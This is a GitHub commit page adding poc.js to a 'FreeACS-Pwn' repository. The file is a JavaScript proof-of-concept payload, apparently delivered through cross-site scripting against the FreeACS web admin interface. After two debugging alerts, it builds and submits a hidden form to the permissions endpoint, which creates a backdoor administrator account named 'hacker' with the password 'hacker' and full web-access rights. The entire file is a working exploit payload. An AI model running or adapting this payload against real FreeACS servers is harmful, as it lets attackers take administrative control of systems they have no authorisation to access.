Skip to content

Commit fd862df

Browse files
author
David Davidson
authored
Create poc.js
1 parent 3e97da5 commit fd862df

File tree

1 file changed

+29
-0
lines changed

1 file changed

+29
-0
lines changed

FreeACS-Pwn/poc.js

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
// remove the alert prompts we used for debugging
2+
// can be vastly improved. PoC made by copy pasting from stack overflow
3+
alert("This is a remote script executing!")
4+
alert("Going to add a user now, named hacker, with password of hacker.")
5+
function post(path, params, method) {
6+
method = method || "post";
7+
var form = document.createElement("form");
8+
form.setAttribute("method", method);
9+
form.setAttribute("action", path);
10+
11+
for(var key in params) {
12+
if(params.hasOwnProperty(key)) {
13+
var hiddenField = document.createElement("input");
14+
hiddenField.setAttribute("type", "hidden");
15+
hiddenField.setAttribute("name", key);
16+
hiddenField.setAttribute("value", params[key]);
17+
18+
form.appendChild(hiddenField);
19+
}
20+
}
21+
22+
document.body.appendChild(form);
23+
form.submit();
24+
}
25+
function mkuser(){
26+
post("/web/web?page=permissions&cmd=create&async=true",{page: "permissions", cmd: "create", async: "true", header: "true", user_name: "hacker", user_fullname: "hacker", user_pass: "hacker", user_admin: "true", configure: "true", web_access: "support", web_access: "limited-provisioning", web_access: "full-provisioning", web_access: "report", web_access: "staging", web_access: "monitor", unittype: ".", detailsubmit: "Create new user"})
27+
}
28+
29+
setTimeout(mkuser, 1000) // I cant remember why I used setTimeout

0 commit comments

Comments
 (0)